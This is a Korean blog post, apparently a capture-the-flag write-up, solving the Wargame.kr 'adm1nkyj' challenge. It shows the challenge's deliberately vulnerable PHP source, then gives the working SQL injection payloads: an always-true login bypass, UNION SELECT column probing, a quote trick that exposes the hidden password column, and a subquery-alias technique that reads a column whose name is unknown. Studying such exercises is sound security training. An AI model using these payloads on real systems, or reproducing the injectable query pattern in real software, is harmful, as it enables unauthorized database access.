ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Wargame.kr adm1nkyj
    WebHacking/Wargame.kr 2018. 2. 28. 23:44

    SQLi 문제다.


    <?php
        error_reporting(0);
        
        include("./config.php"); // hidden column name
        include("../lib.php"); // auth_code function
     
        mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
        mysql_select_db("adm1nkyj");
     
        /**********************************************************************************************************************/
     
        function rand_string()
        {
            $string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
            return str_shuffle($string);
        }
     
        function reset_flag($count_column$flag_column)
        {
            $flag = rand_string();
            $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
            if($query[$count_column== 150)
            {
                if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
                {
                    mysql_query("UPDATE findflag_2 SET $count_column=0;");
                    echo "reset flag<hr>";
                }
                return $flag;
            }
            else
            {
                mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
            }
            return $query[$flag_column];
        }
     
        function get_pw($pw_column){
            $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
            return $query[$pw_column];
        }
     
        /**********************************************************************************************************************/
     
        $tmp_flag = "";
        $tmp_pw = "";
        $id = $_GET['id'];
        $pw = $_GET['pw'];
        $flags = $_GET['flag'];
        if(isset($id))
        {
            if(preg_match("/information|schema|user/i"$id|| substr_count($id,"("> 1exit("no hack");
            if(preg_match("/information|schema|user/i"$pw|| substr_count($pw,"("> 1exit("no hack");
            $tmp_flag = reset_flag($count_column$flag_column);
            $tmp_pw = get_pw($pw_column);
            $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
            if($query[$id_column])
            {
                if(isset($pw&& isset($flags&& $pw === $tmp_pw && $flags === $tmp_flag)
                {
                    echo "good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
                }
                else
                {
                    echo "Hello ".$query[$id_column]."<hr>";
                }
            }
        } else {
            highlight_file(__FILE__);
        }
    ?>
    cs


    소스가 정말 .. 아름답다 .. 

    LOS umaru문제랑 느낌이 비슷하다.

    하지만 이 문제에서는 150번 id를 입력할때 마다 초기화를 하고 쿼리문을 날리기 때문에 error blind, 그냥 blind도 안 된다 .. 

    일단 id값을 알아내야 되는데 ' or ''=' 등 기본적인 쿼리를 이용하여서 id를 알아낼 수 있다.

    패스워드도 간단하다. mysql_query에서는 '{$id}'처럼 '를 써서 변수 값을 쿼리에 넣을 수 있다. 이것을 이용하여서 비밀번호 컬럼 이름을 알아낼 수 있다. 


    '{$id}' and $pw_column='{$pw}'를 보면 $id부분에서 '를 넣어주면 '' ' and $pw_column='{$pw}' 이런식으로 되어서 $pw_column을 '로 덮어서 mysql_query에 변수 값을 넣어줄 수 있다.


    ' union select 1,2,3,4,5;%00%20A 를 이용하여서 출력을 해주면 Hello 2가 출력 되는데 이 결과를 봐서는 아이디는 두 번째 컬럼것 같다. 


    ' union select 1,&pw=,2,3,4;%00%20A 이 쿼리를 입력하면 '' union select 1,' and $pw_column=',2,3,4;%00%20A 가 되어서 두 번째 컬럼인 아이디에 $pw_column값이 들어가서 패스워드 컬럼 이름을 알아낼 수 있고, 값도 알아낼 수 있다.


    이제 마지막 플래그 값만 알아낸다면 문제를 풀 수 있다. !


    우리는 테이블 이름을 알고, 컬럼 이름을 모르고 있다. 이럴 때에는 서브쿼리(inline view)를 이용하여서 문제를 풀 수 있다. 


    ?id=' union select 1,flag,3,4,5 from (select 1,2,3,4 as flag,5 union select * from findflag_2 limit 1,1) as aa; A

    위 쿼리는 id=''로 출력이 아무것도 없고 그 뒤에 union으로 select 1,flag,3,4,5가 출력이 되는데 그 때 from에 들어간 서브 쿼리가 먼저 실행된다. 

    서브쿼리 안에서 새로운 임시 테이블?이 만들어진다고 생각해도 될 것 같다.

    1 2 3 4 5라는 임시 컬럼이 만들어지는데 4는 as로 인해 flag별칭을 얻음, 그곳에 union으로 findflag_2결과가 다 들어간다.


    그럼 이때

    [1    2    3    flag    5]

    1     2     3     4     5

    첫번째 컬럼 ~ 순서대로 findflag_2테이블 값들이 들어갈 것 이다.

    limit 1,1은 위 보이는 대로 처음에는 내가 넣은 값, 두 번째부터 findflag_2값이 들어가 있기 때문이다.

    첫 번째 컬럼부터 시작해서 뭐가 플래그인지 as를 이용하여서 출력을 하다 보면 4번째가 플래그인 것을 알 수 있다. 


    아이디: ' or ''='

    비밀번호: ' union select 1,2,3,4,5;%00%20A

    플래그:  ?id=' union select 1,flag,3,4,5 from (select 1,2,3,4 as flag,5 union select * from findflag_2 limit 1,1) as aaA

     





    'WebHacking > Wargame.kr' 카테고리의 다른 글

    Wargame.kr dun worry about the vase  (0) 2018.02.28
    Wargame.kr jff3_magic  (0) 2018.02.27
    Wargame.kr QnA  (0) 2018.02.27
    Wargame.kr ip log table  (0) 2018.02.26
    Wargame.kr lonely guys  (0) 2018.02.26
Designed by Tistory.